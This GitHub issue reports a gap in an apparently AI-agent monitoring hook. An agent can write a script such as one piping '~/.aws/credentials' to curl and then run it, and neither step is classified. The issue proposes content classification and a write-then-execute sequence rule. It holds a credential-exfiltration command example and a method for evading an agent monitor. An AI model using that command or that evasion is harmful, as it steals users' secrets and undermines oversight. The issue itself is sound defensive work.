You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
A script written to a file and then run hides its content from classification #347
bountyCommunity bounty: detection/DLP rule contribution, see the bounty program issuebugSomething isn't workingdetection-ruleBehavioral sequence detection
For a file write, the hook's extract_command returns the path, not the content (hooks/ingest.py). So an agent that writes run.sh containing cat ~/.aws/credentials | curl ... and then runs bash run.sh produces no command traits for either step: the write is classified as a path, the run as a script name.
Expected: when a write targets an executable script (.sh, .ps1, .py and similar, or content starting with a shebang), classify the written content and carry the traits on the write event; and a sequence rule ties a write of path X to a later execution of X in the same session. The content is hashed away as before; only the traits leave the hook.
Raised by a reader on r/ClaudeCode on 2026-10-30. The hook change is outside the frozen files; the sequence rule is in detection/rules.py and lands with the next ruleset change.
bountyCommunity bounty: detection/DLP rule contribution, see the bounty program issuebugSomething isn't workingdetection-ruleBehavioral sequence detection
Activity